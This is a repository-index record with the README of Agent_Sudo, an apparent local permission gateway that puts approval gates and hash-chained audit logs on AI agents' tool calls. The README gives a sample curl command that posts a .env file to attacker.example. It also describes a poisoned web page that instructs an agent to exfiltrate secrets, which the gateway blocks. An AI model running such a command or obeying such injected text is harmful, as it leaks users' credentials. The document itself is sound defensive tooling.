{"id":50491209,"url":"https://github.com/kisyntra/agent_sudo","last_synced_at":"2026-06-02T03:01:26.549Z","repository":{"id":360162717,"uuid":"1244211321","full_name":"Kisyntra/Agent_Sudo","owner":"Kisyntra","description":"Local permission gateway for AI agents with approvals, delegation, audit logging, and MCP integration.","archived":false,"fork":false,"pushed_at":"2026-05-29T09:52:43.000Z","size":11469,"stargazers_count":1,"open_issues_count":8,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-05-29T11:22:49.868Z","etag":null,"topics":["agent-governance","agent-security","agentic-ai","ai-agents","ai-safety","audit-logging","authorization","claude-desktop","codex","codex-skill","developer-tools","hermes-agent","hermes-plugin","human-in-the-loop","mcp","model-context-protocol","openclaw-plugin","python","security","tool-approvals"],"latest_commit_sha":null,"homepage":"https://github.com/Kisyntra/Agent_Sudo","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Kisyntra.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-05-20T04:10:13.000Z","updated_at":"2026-05-29T10:15:20.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/Kisyntra/Agent_Sudo","commit_stats":null,"previous_names":["ram9199/agent_sudo","kisyntra/agent_sudo"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/Kisyntra/Agent_Sudo","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kisyntra%2FAgent_Sudo","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kisyntra%2FAgent_Sudo/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kisyntra%2FAgent_Sudo/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kisyntra%2FAgent_Sudo/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Kisyntra","download_url":"https://codeload.github.com/Kisyntra/Agent_Sudo/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kisyntra%2FAgent_Sudo/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33803734,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-02T02:00:07.132Z","response_time":109,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agent-governance","agent-security","agentic-ai","ai-agents","ai-safety","audit-logging","authorization","claude-desktop","codex","codex-skill","developer-tools","hermes-agent","hermes-plugin","human-in-the-loop","mcp","model-context-protocol","openclaw-plugin","python","security","tool-approvals"],"created_at":"2026-06-02T03:01:25.833Z","updated_at":"2026-06-02T03:01:26.522Z","avatar_url":"https://github.com/Kisyntra.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Agent_Sudo\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"assets/brand/agent-sudo-logo-readme.png\" alt=\"Agent_Sudo logo\" width=\"320\"\u003e\n\u003c/p\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003ca href=\"https://pypi.org/project/agent-sudo-mcp/\"\u003e\u003cimg src=\"https://img.shields.io/badge/PyPI-v0.5.0-blue\" alt=\"PyPI v0.5.0\"\u003e\u003c/a\u003e\n  \u003ca href=\"https://registry.modelcontextprotocol.io/v0/servers?search=agent-sudo-mcp\"\u003e\u003cimg src=\"https://img.shields.io/badge/MCP%20Registry-active-brightgreen\" alt=\"Official MCP Registry\"\u003e\u003c/a\u003e\n  \u003ca href=\"https://glama.ai/mcp/servers/Kisyntra/Agent_Sudo\"\u003e\u003cimg src=\"https://glama.ai/mcp/servers/Kisyntra/Agent_Sudo/badges/score.svg\" alt=\"Glama MCP Server Score\"\u003e\u003c/a\u003e\n  \u003ca href=\"LICENSE\"\u003e\u003cimg src=\"https://img.shields.io/badge/License-Apache_2.0-blue.svg\" alt=\"License\"\u003e\u003c/a\u003e\n\u003c/p\u003e\n\n`Agent_Sudo` is a local MCP permission gateway for AI agent tool calls. It lets a first-time evaluator see one high-risk action get blocked, narrowly delegated, allowed once, blocked again when the delegation is exhausted, and recorded in a tamper-evident audit log.\n\n## Evaluate Agent_Sudo in 5 Minutes\n\nStart here if you are evaluating Agent_Sudo for the first time:\n\n```bash\npipx install agent-sudo-mcp\nagent-sudo --version\n```\n\nThen run the 5-minute evaluator path:\n\n**[Evaluate Agent_Sudo in 5 Minutes](docs/evaluate_5_minutes.md)**\n\nYou should finish with this proof, without learning the internal architecture first:\n\n```text\nblocked\n↓\ndelegated\n↓\nallowed once\n↓\nblocked again\n↓\naudit verified\n```\n\nThe evaluation uses only existing MCP server, delegation, audit-listing, audit-verification, and routing-verification functionality. If you are working from a source checkout and `agent-sudo --version` is stale, use `python3 -m agent_sudo.gateway --version` or reinstall the package in your active environment.\n\n## What You Will Validate\n\n- A critical shell request through `agent-sudo-mcp` does not execute by default.\n- A one-use delegation allows exactly one matching request.\n- The same request is denied after the delegation is consumed.\n- `agent-sudo audit list` shows the decisions.\n- `agent-sudo verify-audit` verifies the hash-chained audit log.\n- `agent-sudo verify-routing` reports configured routing and audit signals without claiming complete protection.\n\n### What Agent_Sudo Protects / Does Not Protect\n\n**What it is:** a policy-and-provenance gateway with human approval gates, scoped delegation, and a tamper-evident (hash-chained) audit log — for the tool calls routed through it.\n\n**Protects:**\n- **Excessive agency** — sensitive/critical actions (shell, critical file writes, external posts) require human approval before they run.\n- **Untrusted-origin actions** — actions whose provenance is external content (e.g. a fetched web page) are escalated or denied based on *where the instruction came from*, not its wording.\n- **Tamper-evident audit** — every decision is recorded to a SHA-256 hash-chained log that `agent-sudo verify-audit` can check for after-the-fact edits.\n- **Scoped delegation** — temporary, resource-limited tokens grant narrow access that expires automatically.\n\n**Does not protect:**\n- **Tools that bypass the gateway** — a client's native tools or other MCP servers that don't route through Agent_Sudo are neither gated nor audited.\n- **Prompt injection as a content-security problem** — Agent_Sudo does **not** reliably detect injected instructions in prose. The built-in phrase detector is a **best-effort tripwire** that flags a few literal strings; the real protection is provenance-based escalation, not text matching.\n- **OS-level isolation** — it is not a sandbox; pair it with Docker/Firecracker for filesystem/process containment.\n- **A compromised local environment** — anyone with your local shell can approve pending actions or edit config directly.\n\nSee [Trust Boundaries](#trust-boundaries-what-is-and-is-not-protected) for the full table and the [Security \u0026 Threat Model](docs/architecture/security_model.md).\n\n## MCP Client Setup\n\nAfter the 5-minute evaluation, wire the published MCP server into your MCP client:\n\n```bash\npipx install agent-sudo-mcp\nagent-sudo --version\nagent-sudo init-approval\nagent-sudo workspace set /ABS/PATH/TO/your/project\nwhich agent-sudo-mcp\n```\n\nAdd Agent_Sudo to Claude Desktop at `~/Library/Application Support/Claude/claude_desktop_config.json`, using the absolute path returned by `which agent-sudo-mcp`:\n\n```json\n{\n  \"mcpServers\": {\n    \"agent-sudo\": {\n      \"command\": \"/ABS/PATH/TO/agent-sudo-mcp\",\n      \"args\": []\n    }\n  }\n}\n```\n\nRestart Claude Desktop, ask it to use an Agent_Sudo tool, then verify the action was routed through the gateway:\n\n```bash\nagent-sudo audit list\n```\n\nIf the action is not listed, it bypassed Agent_Sudo. For the full setup and trust-boundary details, see the [Claude Desktop Setup Guide](docs/integrations/claude_desktop_setup.md).\n\n## Discoverability \u0026 Registry Status\n\n*   📦 **PyPI Package**: [agent-sudo-mcp v0.5.0 on PyPI](https://pypi.org/project/agent-sudo-mcp/)\n*   ✅ **Official MCP Registry**: Active as `io.github.Kisyntra/agent-sudo-mcp` at [registry.modelcontextprotocol.io](https://registry.modelcontextprotocol.io/v0/servers?search=agent-sudo-mcp)\n*   🌐 **Glama Registry Listing**: Live listing at [glama.ai/mcp/servers/Kisyntra/Agent_Sudo](https://glama.ai/mcp/servers/Kisyntra/Agent_Sudo)\n*   🛠️ **MCP Server Integration**: Read the [MCP Server Setup Guide](docs/integrations/mcp_server_setup.md)\n*   🏢 **GitHub Organization**: Part of the [Kisyntra](https://github.com/Kisyntra) ecosystem\n\n---\n\n## Evaluation Story\n\n![Agent_Sudo Demo](assets/demo/demo-agent_sudo.gif)\n\nA first-time MCP developer should evaluate one narrow story:\n\n```text\n1. blocked: a critical shell request is not executed by default\n2. delegated: the user grants one scoped, one-use token\n3. allowed once: the exact matching request executes once\n4. blocked again: the same request is denied after token exhaustion\n5. audit verified: the decision log is listed and hash-chain verified\n```\n\nThat story is the product activation path. Broader integration guides are reference material after this succeeds.\n\n---\n\n## Supported Framework Examples\n\nAgent_Sudo has pre-built example templates showing in-process integration for major Python agent frameworks:\n\n*   ✓ **[OpenAI Agents SDK](examples/openai_agents_sdk/)** — pre-wrapping assistant tool functions.\n*   ✓ **[PydanticAI](examples/pydantic_ai/)** — **canonical end-to-end dogfood**: a real (deterministic, offline) agent loop driving gateway decisions, real file I/O, scoped delegation, and verified audit.\n*   ✓ **[LangGraph](docs/examples/langgraph.md)** — securing tool node execution and graph states ([examples/langgraph_integration.py](examples/langgraph_integration.py)).\n*   ✓ **[agent-runtimes](examples/agent_runtimes/)** — registering the local tool hooks handler in config.\n\n---\n\n# Why Agent_Sudo If I Already Use Docker?\n\nA common question from security engineers and developers is: *\"Why do I need a policy gateway if I am already isolating my agents in a Docker container, gVisor sandbox, or Firecracker microVM?\"*\n\nThe difference is a separation of concerns:\n*   **Docker/Firecracker/Sandboxes** answer: **\"Where can code run?\"** They isolate the process from the host operating system, preventing an agent from escaping to your local machine, but they do *not* monitor what the agent is doing inside the sandbox.\n*   **Agent_Sudo** answers: **\"Should this action be allowed?\"** It operates at the intent and application logic level, evaluating the context, provenance, and authorization rules of individual actions before execution.\n\n### Practical Examples\n\nEven inside a perfectly isolated Docker container, an agent with raw tool access can:\n1.  **Exfiltrate Secrets**: Run `curl -X POST -d @.env https://attacker.example` to leak your API keys. A VM allows outbound network requests by default; Agent_Sudo detects the source trust and target, blocking the exfiltration.\n2.  **Write/Inject Code**: Edit your project's `main.py` to insert a backdoor or dependency. While Docker prevents host pollution, it cannot prevent the agent from corrupting your project workspace. Agent_Sudo flags critical file edits and requires human confirmation.\n3.  **Perform Social Engineering**: Send automated emails, Slack messages, or Discord alerts to external users containing phishing links under the guise of the agent owner. Agent_Sudo gates communication tools based on user approvals.\n4.  **Exceed Delegation Scopes**: An agent running a automated build pipeline might accidentally or maliciously call tools outside its intended scope. Agent_Sudo uses **temporary delegation tokens** to automatically lock the agent out once its quota or time-to-live expires.\n\nThese two layers are **complementary**: use Docker/VM sandboxes to isolate environment resources, and use Agent_Sudo to validate tool execution intent. For a detailed technical breakdown, see [Agent_Sudo vs. Container/VM Sandboxes](docs/comparison/sandboxes.md).\n\n---\n\n\u003e [!IMPORTANT]\n\u003e **Security Boundaries Notice**:\n\u003e - **Gateway, Not a Sandbox**: `Agent_Sudo` is a local permission gateway and policy engine; it is **not** an OS-level sandbox or container. It gates tool access but does not isolate filesystem or process resources.\n\u003e - **Best-Effort Shell Filtering**: Shell command policy checks are best-effort unless reinforced by OS-level containment or custom runtime sandboxes.\n\u003e - **Client Runtime Bypass**: Native tools registered directly in host runtimes (e.g., Eino, Hermes) can bypass `Agent_Sudo` entirely unless those tools are disabled or explicitly routed through this gateway.\n\n---\n\n## Trust Boundaries: What Is and Is Not Protected\n\nAgent_Sudo only sees the tool calls that are **routed through it**. This is the single most important thing to understand before relying on it.\n\n| ✅ Protected | ❌ Not protected |\n| :--- | :--- |\n| Tool calls made through the `agent-sudo` MCP server (file reads/writes, shell, network) — gated, classified, and logged | A client's **own native/built-in tools** (e.g. Claude Desktop's built-in file or web tools) that don't go through the `agent-sudo` server |\n| Any runtime where dangerous tools are disabled or explicitly proxied through the gateway | **Other MCP servers** you've installed that expose filesystem/shell/network directly to the agent |\n| Intent-level decisions: provenance, approval gates, delegation scopes, audit | OS-level isolation (use Docker/VM for that — see [comparison](docs/comparison/sandboxes.md)) |\n\n**How to make sure you're actually protected:**\n\n1. Route the agent's risky capabilities through the `agent-sudo` MCP server (see the [Claude Desktop Setup Guide](docs/integrations/claude_desktop_setup.md)).\n2. Disable or remove **other** tools that grant the agent direct file/shell/network access and bypass the gateway.\n3. **Verify with the audit log.** Ask the agent to perform an action, then run `agent-sudo audit list`. If the action is recorded, it went through the gateway. **If it is *not* in the log, it bypassed Agent_Sudo and was not protected** — that capability still needs to be disabled or routed through the gateway.\n\nThis is a deliberate scope choice, not a defect: Agent_Sudo governs *intent and authorization* for the tools it mediates. Pair it with OS-level isolation (Docker/Firecracker) for environment containment.\n\n---\n\n## Core Features\n\n- **Approval Gates**: Prompts for interactive confirmation (CLI yes/no) on sensitive actions, and requires a local passphrase for critical actions (e.g., running shell commands).\n- **Protected Reads**: Automatically blocks reads targeting private files such as credentials, configuration folders, and shell startup scripts.\n- **Critical Write Detection**: Upgrades ordinary file writes to critical status if the target is executable code or configuration files.\n- **Scoped Delegation**: Allows humans to issue temporary, resource-limited permission tokens (e.g., allow read access to `/path/to/project` for 2 hours, max 10 uses).\n- **Audit Logs**: Records all tool attempts and gateway decisions to a local JSONL log file secured with a SHA-256 hash chain to detect log tampering. Review them in a human-readable table with `agent-sudo audit list`, or verify integrity with `agent-sudo verify-audit`.\n- **Claude Desktop / MCP Support**: Implements the Model Context Protocol (MCP) to plug directly into Claude Desktop as a stdio server.\n\n---\n\n## Additional Demos\n\nAfter you complete the 5-minute evaluator path, these demos show adjacent scenarios.\n\n### Built-In Policy Demo\n\nRun a local dry-run policy demo:\n\n```bash\nagent-sudo demo\n```\n\nThis is useful for seeing policy decisions quickly. It is not the primary activation path because it does not show the full MCP deny -\u003e delegate -\u003e allow once -\u003e deny exhausted loop.\n\n### Provenance Blocking Demo\n\nSee provenance-aware policy enforcement in ~60 seconds. An agent reads a poisoned web page that tells it to exfiltrate your `.env`. Agent_Sudo **denies** the action because its **origin is untrusted external content** — not because it parsed the malicious wording — while **allowing** the user's own work, and writes a tamper-evident audit log. The decision turns on *where the instruction came from*, independent of how the injection is phrased.\n\n![Agent_Sudo provenance-based blocking demo](assets/demo/exfil-demo.gif)\n\nThe demo lives in the repository (it is not part of the PyPI package), so clone first:\n\n```bash\ngit clone https://github.com/Kisyntra/Agent_Sudo\ncd Agent_Sudo/examples/exfil_demo \u0026\u0026 python demo.py\n```\n\nWalkthrough and expected output: [`examples/exfil_demo/`](examples/exfil_demo/).\n\n---\n\n## Contributor Setup\n\nIf you are developing `Agent_Sudo` or integrating it with a custom runtime:\n\n```bash\n# Clone the repository\ngit clone https://github.com/Kisyntra/Agent_Sudo.git\ncd Agent_Sudo\n\n# Install in editable mode\npython3 -m pip install -e .\n```\n\nTo run unit tests:\n```bash\npython3 -m unittest discover -s tests\n```\n\n---\n\n# Ecosystem\n\nWe work with agent runtime maintainers and external implementers to define portable authorization and audit standards:\n\n*   **Official Integrations**:\n    *   **[agent-runtimes](https://github.com/datalayer/agent-runtimes)** — Merged (PR #98) local plugin hook handler (`agent_sudo_local`).\n*   **Active Implementations**:\n    *   **[LexFlow](https://github.com/VforVitorio/LexFlow)** — In-progress design review (#124) for native JS/TS client audit logging and verification.\n*   **Research \u0026 Local PoC**:\n    *   **[Hermes](https://github.com/NousResearch/hermes-agent)** — Experimental architecture research (#34992) targeting registry-level dispatch gating.\n*   **Public Listings**:\n    *   **[Official MCP Registry](https://registry.modelcontextprotocol.io/v0/servers?search=agent-sudo-mcp)** — Active listing as `io.github.Kisyntra/agent-sudo-mcp`.\n    *   **[Glama MCP Registry](https://glama.ai/mcp/servers/Kisyntra/Agent_Sudo)** — Active, verified listing with introspection tests.\n\nFor a full compatibility matrix and integration details, see the [Ecosystem Status Guide](docs/ecosystem/ecosystem_status.md).\n\n---\n\n## Documentation Directory\n\n| Directory / Section | Topic | Key Files |\n| :--- | :--- | :--- |\n| **Evaluation** | First-time activation path | [Evaluate in 5 Minutes](docs/evaluate_5_minutes.md) • [First Run Reference](docs/first_run.md) |\n| **Troubleshooting** | Diagnostics and resolution steps | [docs/troubleshooting.md](docs/troubleshooting.md) |\n| **Integrations** | Connecting to runtimes and IDEs | [docs/integrations/overview.md](docs/integrations/overview.md) • [Ecosystem Status](docs/ecosystem/ecosystem_status.md) • [Outreach Playbook](docs/ecosystem/outreach_playbook.md) • [Adoption Dashboard](docs/ecosystem/adoption_dashboard.md) • [Discoverability Notes](docs/ecosystem/discoverability_notes.md) • [LexFlow Readiness](docs/ecosystem/lexflow_readiness.md) • [LexFlow Checklist](docs/ecosystem/lexflow_compatibility_checklist.md) • [Claude Desktop](docs/integrations/claude_desktop_setup.md) • [MCP Setup](docs/integrations/mcp_server_setup.md) • [agent-runtimes](docs/integrations/agent-runtimes.md) • [Hermes (Research)](docs/integrations/hermes-research.md) |\n| **Framework Integrations** | Direct SDK gating for agent frameworks | [LangGraph Integration Guide](docs/examples/langgraph.md) • [examples/langgraph_integration.py](examples/langgraph_integration.py) |\n| **Architecture** | Abstractions and core pipelines | [docs/architecture/overview.md](docs/architecture/overview.md) • [Layered Architecture](docs/architecture/layered_architecture.md) • [Enforcement Model](docs/architecture/enforcement_model.md) |\n| **Specifications** | Language-agnostic standard models | [spec/runtime_compatibility_levels.md](spec/runtime_compatibility_levels.md) • [Universal Schema](spec/universal_schema.md) • [Policy \u0026 Audit](spec/policy_audit_schema.md) • [Interoperability Test Kit](docs/interop/interoperability_test_kit.md) |\n| **Security** | Threat modeling and limits | [docs/architecture/security_model.md](docs/architecture/security_model.md) |\n| **Comparisons** | Policy vs Container Sandboxes | [Docker \u0026 Firecracker comparison](docs/comparison/sandboxes.md) |\n\n---\n\n## CI/CD \u0026 Release Automation\n\n`Agent_Sudo` uses GitHub Actions to automate checks and distribution:\n- **Continuous Integration**: The CI workflow runs on all pushes and pull requests targeting the `main` branch, running the unittest suite, scanning for personal path disclosures, executing `git diff --check` whitespace validation, and verifying Python package compilation.\n- **Automated Releases**: Releases are generated automatically when a git tag matching `v*` is pushed.\n  - Release candidate tags (e.g. `v0.4.0-rc12`) are published as GitHub Prereleases and are explicitly excluded from being marked as the latest release.\n  - Release notes are automatically parsed and extracted from the matching version entry in `CHANGELOG.md`.\n\n\u003c!-- mcp-name: io.github.Kisyntra/agent-sudo-mcp --\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkisyntra%2Fagent_sudo","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkisyntra%2Fagent_sudo","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkisyntra%2Fagent_sudo/lists"}